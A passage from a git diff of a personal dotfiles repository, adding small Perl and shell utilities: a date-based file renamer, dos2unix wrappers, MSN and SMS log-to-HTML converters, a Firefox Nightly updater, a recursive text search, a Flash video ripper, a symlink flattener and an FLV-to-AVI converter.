. "$first to $last.\n\n"
|
||||||
|
. "$backuptext$c{o}\n\n";
|
||||||
|
|
||||||
|
my $proceed = &prompt("Okay to proceed? [y/n] <n>", "n",
|
||||||
|
qw(y yes n no));
|
||||||
|
unless ($proceed =~ /^y/i) {
|
||||||
|
print "\nAborting procedure!\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
##############################
|
||||||
|
# Main Operation #
|
||||||
|
##############################
|
||||||
|
|
||||||
|
my $int = $o->{start};
|
||||||
|
foreach my $file (@files) {
|
||||||
|
next unless -f $file;
|
||||||
|
my ($ext) = ($file =~ /\.([A-Za-z0-9]+?)$/i);
|
||||||
|
$ext = "jpg" unless defined $ext;
|
||||||
|
print "$c{c}Looking at file $file$c{o}\n";
|
||||||
|
unless ($o->{nobackup}) {
|
||||||
|
my $backup = $file;
|
||||||
|
my $bi = 1;
|
||||||
|
while (-f "$o->{backup}/$backup") {
|
||||||
|
$backup = "[$bi] $file";
|
||||||
|
$bi++;
|
||||||
|
}
|
||||||
|
print " Backing it up as $o->{backup}/$backup... ";
|
||||||
|
copy ($file, "$o->{backup}/$backup");
|
||||||
|
if (-f "$o->{backup}/$backup") {
|
||||||
|
print "Done!\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
die "$c{r}Error: couldn't back it up: $!$c{o}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
my $newName = &datename($int) . "." . lc($ext);
|
||||||
|
$int++;
|
||||||
|
print " Renaming file to $newName"
|
||||||
|
. ($o->{force} ? " (forced)" : "")
|
||||||
|
. "... ";
|
||||||
|
if (-f $newName && !$o->{force}) {
|
||||||
|
print "Warning: File already exists!$c{r}\n";
|
||||||
|
my $continue = &prompt(
|
||||||
|
" The file $newName already exists. Overwrite? "
|
||||||
|
. "[y/n] <n>", "n", qw(y yes n no));
|
||||||
|
|
||||||
|
if ($continue !~ /^y/i) {
|
||||||
|
print " Skipping rename of $file!$c{o}\n";
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
|
||||||
|
print " Renaming file to $newName (forced)... $c{o}";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Rename it.
|
||||||
|
rename ($file, $newName);
|
||||||
|
print "$c{g}Done!$c{o}\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
print "\n"
|
||||||
|
. "$c{g}Procedure completed. Backups were saved to $o->{backup}.$c{o}\n";
|
||||||
|
exit(0);
|
||||||
|
|
||||||
|
sub datename {
|
||||||
|
my $i = shift;
|
||||||
|
|
||||||
|
my $format = $o->{format};
|
||||||
|
$format =~ s/yyyy/$year/ig;
|
||||||
|
$format =~ s/mm/$mon/ig;
|
||||||
|
$format =~ s/dd/$day/ig;
|
||||||
|
my $sprint = sprintf("%0${ns}d", $i);
|
||||||
|
$format =~ s/n+/$sprint/ig;
|
||||||
|
return $format;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getFileList {
|
||||||
|
if (@ARGV) {
|
||||||
|
return (@ARGV);
|
||||||
|
}
|
||||||
|
my @return = ();
|
||||||
|
opendir (DIR, ".");
|
||||||
|
foreach my $f (sort(grep(/^\./, readdir(DIR)))) {
|
||||||
|
if (-f $f) {
|
||||||
|
push (@return, $f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
return (@return);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub prompt {
|
||||||
|
my $question = shift;
|
||||||
|
my $default = shift;
|
||||||
|
my @accept = ();
|
||||||
|
|
||||||
|
my $asking = 1;
|
||||||
|
while ($asking) {
|
||||||
|
print "$question ";
|
||||||
|
chomp (my $answer = <STDIN>);
|
||||||
|
|
||||||
|
if (defined $answer && length $answer) {
|
||||||
|
if (@accept) {
|
||||||
|
foreach my $a (@accept) {
|
||||||
|
if ($answer eq $a) {
|
||||||
|
return $a;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print "Invalid answer.\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $answer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (@accept) {
|
||||||
|
print "INvalid answer.\n";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $default;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub help {
|
||||||
|
print <<EOF;
|
||||||
|
NAME
|
||||||
|
|
||||||
|
datename - Massively rename multiple files
|
||||||
|
|
||||||
|
USAGE
|
||||||
|
|
||||||
|
datename [options] <files>
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
|
||||||
|
The following options can be provided at the command line, or will be
|
||||||
|
prompted for during operation.
|
||||||
|
|
||||||
|
--format, -f <format>
|
||||||
|
|
||||||
|
Provide the date format. Should contain yyyy, mm, dd, and a
|
||||||
|
sequence of at least one n. Ex: yyyy-mm-dd_nnn
|
||||||
|
|
||||||
|
--date, -d <date>
|
||||||
|
|
||||||
|
Provide the date. Should be in yyyy-mm-dd format, e.g.
|
||||||
|
2009-02-23
|
||||||
|
|
||||||
|
--start, -s <number>
|
||||||
|
|
||||||
|
Enter the iteration number to begin renaming files at. By
|
||||||
|
default it is 1.
|
||||||
|
|
||||||
|
The following options will modify the default behavior of the program:
|
||||||
|
|
||||||
|
--backup, -b <directory>
|
||||||
|
|
||||||
|
Specify the directory you want the files backed up into.
|
||||||
|
Default is ./datename-backup
|
||||||
|
This folder will try to be created if it doesn't exist.
|
||||||
|
|
||||||
|
--nobackup
|
||||||
|
|
||||||
|
Do not back up files (I don't recommend this option).
|
||||||
|
|
||||||
|
--force
|
||||||
|
|
||||||
|
Force rename all files (do not prompt the user if the file
|
||||||
|
already exists).
|
||||||
|
|
||||||
|
EXAMPLES
|
||||||
|
|
||||||
|
; Specify all the prompt questions on the command line and rename
|
||||||
|
; JPG and PNG images only.
|
||||||
|
datename -f "yyyy-mm-dd_nnn" -d "2009-02-23" -s 100 *.jpg *.png
|
||||||
|
|
||||||
|
; Rename JPG, BMP, and GIF, will be prompted for the other options
|
||||||
|
datename *.jpg *.bmp *.gif
|
||||||
|
|
||||||
|
; Rename everything
|
||||||
|
datename *
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
|
||||||
|
Casey Kirsle
|
||||||
|
http://www.kirsle.net/
|
||||||
|
EOF
|
||||||
|
exit(1);
|
||||||
|
}
|
33
home/bin/dodos2unix
Executable file
33
home/bin/dodos2unix
Executable file
|
@ -0,0 +1,33 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# dodos2unix - A stupid-simple recursive dos2unix front end.
|
||||||
|
#
|
||||||
|
# This script starts recursively scanning the current working directory (.) and
|
||||||
|
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
|
||||||
|
# INC, and PM).
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
&scanDir (".");
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
|
||||||
|
print "dos2unix $dir/$file\n";
|
||||||
|
`dos2unix $dir/$file`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
33
home/bin/dodos2unix2
Executable file
33
home/bin/dodos2unix2
Executable file
|
@ -0,0 +1,33 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# dodos2unix - A stupid-simple recursive dos2unix front end.
|
||||||
|
#
|
||||||
|
# This script starts recursively scanning the current working directory (.) and
|
||||||
|
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
|
||||||
|
# INC, and PM).
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
&scanDir (".");
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
|
||||||
|
print "dos2unix $dir/$file\n";
|
||||||
|
`perl -pi -e 's/\\r\\n/\\n/;' $dir/$file`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
29
home/bin/dounix2dos
Executable file
29
home/bin/dounix2dos
Executable file
|
@ -0,0 +1,29 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# dounix2dos - Like dodos2unix except it runs unix2dos instead. See dodos2unix
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
&scanDir (".");
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
opendir (DIR, $dir);
|
||||||
|
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
&scanDir ("$dir/$file");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm)$/i) {
|
||||||
|
print "unix2dos $dir/$file\n";
|
||||||
|
`unix2dos $dir/$file`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
}
|
74
home/bin/dumpmsn
Executable file
74
home/bin/dumpmsn
Executable file
|
@ -0,0 +1,74 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# dumpmsn - Pretty up MSN Messenger chat logs.
|
||||||
|
#
|
||||||
|
# Usage: dumpmsn *.xml
|
||||||
|
#
|
||||||
|
# This will create a folder named "html" and put the files there. Give it chat
|
||||||
|
# logs from Windows Live Messenger 2011 or similar (no guarantees it
|
||||||
|
# will work with other versions).
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use XML::Simple;
|
||||||
|
|
||||||
|
if (!-d "html") {
|
||||||
|
mkdir("html") or die "Can't create folder 'html': $@";
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach my $file (@ARGV) {
|
||||||
|
say "Dumping $file...";
|
||||||
|
my $xml = XMLin($file, ForceArray => 1);
|
||||||
|
my $html = $file;
|
||||||
|
$html =~ s/\.xml$//g;
|
||||||
|
|
||||||
|
open (my $fh, ">:utf8", "./html/$html.html");
|
||||||
|
print {$fh} <<EOF;
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Conversation Log</title>
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
background-color: #FFFFFF;
|
||||||
|
font-family: Verdana,Arial,Helvetica,sans-serif;
|
||||||
|
font-size: small;
|
||||||
|
color: #000000;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
if (ref($xml->{Message}) ne "ARRAY") {
|
||||||
|
warn "Not an array for $file";
|
||||||
|
next;
|
||||||
|
}
|
||||||
|
foreach my $Message (@{$xml->{Message}}) {
|
||||||
|
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
|
||||||
|
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
|
||||||
|
my $time = $Message->{Date} . " " . $Message->{Time};
|
||||||
|
my ($text,$style);
|
||||||
|
if (ref($Message->{Text}->[0])) {
|
||||||
|
$text = $Message->{Text}->[0]->{content};
|
||||||
|
$style = $Message->{Text}->[0]->{Style};
|
||||||
|
} else {
|
||||||
|
$text = $Message->{Text}->[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
$style //= "";
|
||||||
|
$style = " style=\"$style\"" if length $style > 0;
|
||||||
|
|
||||||
|
print {$fh} "<strong>$time</strong><br>\n"
|
||||||
|
. "<em>$from says:</em>\n"
|
||||||
|
. "<blockquote$style>$text</blockquote>\n"
|
||||||
|
. "<hr>\n\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
print {$fh} "</body>\n</html>";
|
||||||
|
close($fh);
|
||||||
|
}
|
67
home/bin/dumpsms
Executable file
67
home/bin/dumpsms
Executable file
|
@ -0,0 +1,67 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
|
||||||
|
# readable HTML files!
|
||||||
|
#
|
||||||
|
# Usage: dumpsms <sms-dump.xml>
|
||||||
|
# Ex: dumpsms sms-20120629202942.xml
|
||||||
|
#
|
||||||
|
# It will create a folder "./sms" if it doesn't exist, and output all the logs
|
||||||
|
# into that folder. It saves HTML files after the contact name, if available.
|
||||||
|
# Logs are opened in append mode, so if you run the script multiple times the
|
||||||
|
# logs get appended to the end of the file!
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use autodie;
|
||||||
|
use XML::Simple;
|
||||||
|
|
||||||
|
my $xml = shift or die "$0 <*.xml>";
|
||||||
|
|
||||||
|
mkdir("sms") unless -d "sms";
|
||||||
|
my $ref = XMLin($xml);
|
||||||
|
|
||||||
|
foreach my $sms (@{$ref->{sms}}) {
|
||||||
|
my $num = $sms->{address};
|
||||||
|
|
||||||
|
my $color = $sms->{type} eq "1" ? "receive" : "send";
|
||||||
|
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";
|
||||||
|
|
||||||
|
my $file = "./sms/$sms->{contact_name}.html";
|
||||||
|
if (!-f $file) {
|
||||||
|
open (my $fh, ">", $file);
|
||||||
|
print {$fh} "<!DOCTYPE html>\n"
|
||||||
|
. "<html>\n"
|
||||||
|
. "<head>\n"
|
||||||
|
. "<title>Conversation with $sms->{contact_name}</title>\n"
|
||||||
|
. "<style>\n"
|
||||||
|
. "body {\n"
|
||||||
|
. " font-family: Verdana,Arial,sans-serif;\n"
|
||||||
|
. " font-size: small;\n"
|
||||||
|
. " color: #000000;\n"
|
||||||
|
. "}\n"
|
||||||
|
. ".receive {\n"
|
||||||
|
. " color: #0000FF;\n"
|
||||||
|
. "}\n"
|
||||||
|
. ".send {\n"
|
||||||
|
. " color: #FF0000;\n"
|
||||||
|
. "}\n"
|
||||||
|
. "</style>\n"
|
||||||
|
. "</head>\n"
|
||||||
|
. "<body>\n\n";
|
||||||
|
close($fh);
|
||||||
|
}
|
||||||
|
|
||||||
|
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
|
||||||
|
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
|
||||||
|
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
|
||||||
|
. "<blockquote>$sms->{body}</blockquote>\n"
|
||||||
|
. "<hr>\n";
|
||||||
|
close($fh);
|
||||||
|
}
|
||||||
|
|
||||||
|
say "Wrote logs to ./sms";
|
146
home/bin/ffnightly
Executable file
146
home/bin/ffnightly
Executable file
|
@ -0,0 +1,146 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# ffnightly - Download the latest version of Firefox Nightly.
|
||||||
|
#
|
||||||
|
# Run this script to fetch the latest version of Firefox Nightly. By default,
|
||||||
|
# it will be installed into /opt/firefox-nightly with a symlink to run it at
|
||||||
|
# /usr/bin/firefox-nightly. Furthermore, it will show up in your applications
|
||||||
|
# menu as "Firefox Nightly".
|
||||||
|
#
|
||||||
|
# This script needs to be run as root (if you don't, it will attempt to sudo
|
||||||
|
# run itself). To run it from a cron job, use the --force option and it will
|
||||||
|
# skip prompting you to make sure Firefox is not running first.
|
||||||
|
#
|
||||||
|
# Usage: ffnightly [--force]
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net
|
||||||
|
|
||||||
|
use 5.14.0;
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use English;
|
||||||
|
use File::Basename;
|
||||||
|
use Time::Local;
|
||||||
|
chomp(my $ARCH = `uname -p`);
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# Configuration #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
# Where to install Firefox Nightly to.
|
||||||
|
my $INSTALL = "/opt/firefox-nightly";
|
||||||
|
|
||||||
|
# Where to install the launcher symlink to.
|
||||||
|
my $BIN = "/usr/bin/firefox-nightly";
|
||||||
|
|
||||||
|
# Where to install the launcher shortcut to.
|
||||||
|
my $LAUNCHER = "/usr/share/applications/firefox-nightly.desktop";
|
||||||
|
|
||||||
|
# Where are the Firefox nightlies kept?
|
||||||
|
my $NIGHTLY = sprintf("ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/firefox-14.0a1.en-US.linux-%s.tar.bz2", $ARCH);
|
||||||
|
|
||||||
|
################################################################################
|
||||||
|
# End Configuration #
|
||||||
|
################################################################################
|
||||||
|
|
||||||
|
# Base name of tarball.
|
||||||
|
my $TARBALL = basename($NIGHTLY);
|
||||||
|
|
||||||
|
# Mozilla plugins lib.
|
||||||
|
my $PLUGINS = "/usr/lib" . ($ARCH eq 'x86_64' ? '64' : '') . "/mozilla/plugins";
|
||||||
|
|
||||||
|
# Check for required tools.
|
||||||
|
my %t = check_required();
|
||||||
|
|
||||||
|
unless (@ARGV && $ARGV[0] eq '--force') {
|
||||||
|
say "Make sure you close Firefox before continuing.";
|
||||||
|
print "Is Firefox closed now? [yN] ";
|
||||||
|
chomp(my $ans = <STDIN>);
|
||||||
|
exit(0) unless $ans =~ /^y/;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Needs to be root.
|
||||||
|
if ($EFFECTIVE_USER_ID != 0) {
|
||||||
|
say "You need to run this script as root.";
|
||||||
|
exec($t{sudo}, $0, '--force');
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Make a temp folder for it.
|
||||||
|
my $tmp = "/tmp/firefox-nightly-$$-" . time();
|
||||||
|
run("mkdir -p $tmp");
|
||||||
|
|
||||||
|
# Fetch Firefox Nightly.
|
||||||
|
chdir($tmp);
|
||||||
|
run("wget $NIGHTLY");
|
||||||
|
run("tar -xjvf $TARBALL");
|
||||||
|
|
||||||
|
# Move it to the destination.
|
||||||
|
run("rm -rf $INSTALL") if -d $INSTALL;
|
||||||
|
if (!-d $INSTALL) {
|
||||||
|
run("mkdir -p $INSTALL");
|
||||||
|
}
|
||||||
|
run("mv firefox/* $INSTALL/");
|
||||||
|
|
||||||
|
# Make the symlink.
|
||||||
|
if (-e $BIN) {
|
||||||
|
run("rm -f $BIN");
|
||||||
|
}
|
||||||
|
|
||||||
|
# Make the launcher.
|
||||||
|
open (my $launch, ">", $LAUNCHER);
|
||||||
|
print {$launch} <<"EOF";
|
||||||
|
[Desktop Entry]
|
||||||
|
Version=1.0
|
||||||
|
Name=Firefox Nightly
|
||||||
|
GenericName=Web Browser
|
||||||
|
Comment=Browse the Web
|
||||||
|
Exec=firefox-nightly %u
|
||||||
|
Icon=$INSTALL/icons/mozicon128.png
|
||||||
|
Terminal=false
|
||||||
|
Type=Application
|
||||||
|
StartupWMClass=Firefox-bin
|
||||||
|
MimeType=text/html;text/xml;application/xhtml+xml;application/vnd.mozilla.xul+xml;text/mml;x-scheme-handler/http;x-scheme-handler/https;
|
||||||
|
StartupNotify=true
|
||||||
|
Categories=Network;WebBrowser;
|
||||||
|
EOF
|
||||||
|
close ($launch);
|
||||||
|
|
||||||
|
# Link the binary.
|
||||||
|
run("ln -s $INSTALL/firefox $BIN");
|
||||||
|
|
||||||
|
# Flash plugins etc!
|
||||||
|
if (-d "$INSTALL/plugins") {
|
||||||
|
run("rm -rf $INSTALL/plugins");
|
||||||
|
}
|
||||||
|
run("ln -s $PLUGINS $INSTALL/plugins");
|
||||||
|
|
||||||
|
# Cleanup.
|
||||||
|
run("rm -rf $tmp");
|
||||||
|
|
||||||
|
say "You have updated to the latest Firefox Nightly. The binary is installed";
|
||||||
|
say "to: $BIN";
|
||||||
|
exit(0);
|
||||||
|
|
||||||
|
sub run {
|
||||||
|
my $cmd = shift;
|
||||||
|
say "\$ $cmd";
|
||||||
|
system($cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub check_required {
|
||||||
|
my @tools = qw(sudo wget tar);
|
||||||
|
my %paths = ();
|
||||||
|
foreach my $tool (@tools) {
|
||||||
|
chomp(my $path = `which $tool`);
|
||||||
|
if ($? == 0) {
|
||||||
|
$paths{$tool} = $path;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
say "This script requires `$tool`, which wasn't found in your \$PATH.";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return %paths;
|
||||||
|
}
|
71
home/bin/findtxt
Executable file
71
home/bin/findtxt
Executable file
|
@ -0,0 +1,71 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# findtxt - Recursively scan a directory looking for a string inside every file
|
||||||
|
# inside. It's like a simple grep except it scans directories and all files.
|
||||||
|
#
|
||||||
|
# Usage: findtxt <strings to find> [directory]
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
|
||||||
|
if (not scalar(@ARGV)) {
|
||||||
|
print "Usage: findtxt <strings to find> [directory]\n"
|
||||||
|
. "Example: findtxt \"hello world\" /home\n"
|
||||||
|
. " findtxt perl cgi /usr/lib\n";
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
my $base = `pwd`;
|
||||||
|
if (-d $ARGV[-1]) {
|
||||||
|
$base = pop(@ARGV);
|
||||||
|
}
|
||||||
|
|
||||||
|
$base = '' if $base eq '/';
|
||||||
|
|
||||||
|
print "Scanning... please wait...\n";
|
||||||
|
|
||||||
|
our $hits = 0;
|
||||||
|
my @files = &scanDir($base);
|
||||||
|
|
||||||
|
print "\n\nResults:\n"
|
||||||
|
. join ("\n",@files)
|
||||||
|
. "\n";
|
||||||
|
|
||||||
|
sub scanDir {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
my @files = ();
|
||||||
|
|
||||||
|
print "[$hits] Scan $dir/\n";
|
||||||
|
|
||||||
|
opendir (DIR, "$dir/") || warn "Can't read $dir: $!\n";
|
||||||
|
foreach my $file (readdir(DIR)) {
|
||||||
|
next if $file eq '.';
|
||||||
|
next if $file eq '..';
|
||||||
|
next if -l "$dir/$file"; # skip symlinks
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
next if ("$dir/$file") =~ /\/dev/i;
|
||||||
|
push (@files, &scanDir("$dir/$file"));
|
||||||
|
}
|
||||||
|
elsif (-f "$dir/$file") {
|
||||||
|
# read this file.
|
||||||
|
open (FILE, "$dir/$file") || do {
|
||||||
|
warn "Can't read $dir/$file: $!\n";
|
||||||
|
next;
|
||||||
|
};
|
||||||
|
while (<FILE>) {
|
||||||
|
foreach my $str (@ARGV) {
|
||||||
|
if ($_ =~ /$str/i) {
|
||||||
|
push (@files,"$dir/$file");
|
||||||
|
$hits++;
|
||||||
|
last;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
select (undef,undef,undef,0.001);
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
|
||||||
|
return @files;
|
||||||
|
}
|
49
home/bin/flashget
Executable file
49
home/bin/flashget
Executable file
|
@ -0,0 +1,49 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# flashget - Download Flash videos from any hosting site.
|
||||||
|
# Usage: flashget
|
||||||
|
# Author: Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
# This script doesn't care what your flash player is called. It just looks for
|
||||||
|
# any process that owns a /tmp/Flash####### file and copies it.
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use File::Copy;
|
||||||
|
|
||||||
|
my $home = defined $ENV{HOME} ? $ENV{HOME} : ".";
|
||||||
|
|
||||||
|
print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
|
||||||
|
. "you FULLY BUFFER the video first in your web browser.\n\n";
|
||||||
|
|
||||||
|
my $count = 0;
|
||||||
|
opendir (my $proc, "/proc");
|
||||||
|
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
|
||||||
|
# Skip PID's we can't read from.
|
||||||
|
next unless -r "/proc/$pid/fd";
|
||||||
|
|
||||||
|
# Look for flash videos.
|
||||||
|
my @fd = `ls -l /proc/$pid/fd`;
|
||||||
|
foreach my $line (@fd) {
|
||||||
|
chomp $line;
|
||||||
|
$line =~ s/[\x0D\x0A]//g;
|
||||||
|
next unless length $line;
|
||||||
|
|
||||||
|
my @parts = split(/\s+/, $line);
|
||||||
|
my $file = $parts[-2];
|
||||||
|
my $id = $parts[-4];
|
||||||
|
|
||||||
|
# Looks like Flash?
|
||||||
|
if ($file =~ m{^/tmp/(Flash.*?)$}) {
|
||||||
|
# Copy it.
|
||||||
|
my $dest = "$home/$1.flv";
|
||||||
|
print "Recover from PID $pid: $id -> $dest\n";
|
||||||
|
copy("/proc/$pid/fd/$id", $dest) or print "ERR: Couldn't copy to $dest: $@\n";
|
||||||
|
$count++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir ($proc);
|
||||||
|
|
||||||
|
print "\nRecovered $count Flash video(s).\n";
|
43
home/bin/flatten-linked
Executable file
43
home/bin/flatten-linked
Executable file
|
@ -0,0 +1,43 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# flatten-linked - Create symlinks to every file in a directory, recursively,
|
||||||
|
# creating the links in the current working directory.
|
||||||
|
#
|
||||||
|
# If you have iTunes or similar managing your music and it organizes them in a
|
||||||
|
# large folder structure (Band Name/Album Name/Song Name.mp3) you can run this
|
||||||
|
# script on your iTunes folder and it will create links to every file in the
|
||||||
|
# current folder. So you'll end up with a single folder "containing" all your
|
||||||
|
# songs, when really they're all links to their real locations.
|
||||||
|
#
|
||||||
|
# But with this you can import your iTunes collection into XMMS or another
|
||||||
|
# primitive media player very easily, by only importing one folder - the one
|
||||||
|
# full of links.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
unless (@ARGV) {
|
||||||
|
print "Usage: flatten-linked <directory>\n"
|
||||||
|
. "Creates symlinks to all files in current directory\n";
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (@ARGV) {
|
||||||
|
&crawl($_);
|
||||||
|
}
|
||||||
|
closedir (DIR);
|
||||||
|
|
||||||
|
sub crawl {
|
||||||
|
my $dir = shift;
|
||||||
|
print "Crawling into directory $dir";
|
||||||
|
opendir (DIR, $dir) or die "Can't open dir $dir: $!";
|
||||||
|
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
&crawl("$dir/$file");
|
||||||
|
}
|
||||||
|
elsif (-f "$dir/$file") {
|
||||||
|
print "Linking $dir/$file as ./$file\n";
|
||||||
|
system("ln", "-s", "$dir/$file", "./$file");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
41
home/bin/flv2avi
Executable file
41
home/bin/flv2avi
Executable file
|
@ -0,0 +1,41 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
# flv2avi - Convert FLV video to AVI (divx or xvid codec).
|
||||||
|
#
|
||||||
|
# This script was not written by Kirsle, it was found on the net somewhere.
|
||||||
|
#
|
||||||
|
# Usage: flv2avi [-divx|-xvid] list_of_flv_files
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
if [ -z "$1" ]; then
|
||||||
|
echo "Usage: $0 {-divx|-xvid} list_of_flv_files"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# video encoding bit rate
|
||||||
|
V_BITRATE=1000
|
||||||
|
|
||||||
|
while [ "$1" ]; do
|
||||||
|
case "$1" in
|
||||||
|
-divx)
|
||||||
|
MENC_OPTS="-ovc lavc -lavcopts \
|
||||||
|
vcodec=mpeg4:vbitrate=$V_BITRATE:mbd=2:v4mv:autoaspect"
|
||||||
|
;;
|
||||||
|
-xvid)
|
||||||
|
MENC_OPTS="-ovc xvid -xvidencopts bitrate=$V_BITRATE:autoaspect"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
if file "$1" | grep -q "Macromedia Flash Video"; then
|
||||||
|
mencoder "$1" $MENC_OPTS -vf pp=lb -oac mp3lame \
|
||||||
|
-lameopts fast:preset=standard -o \
|
||||||
|
"`basename $1 .flv`.avi"
|
||||||
|
else
|
||||||
|
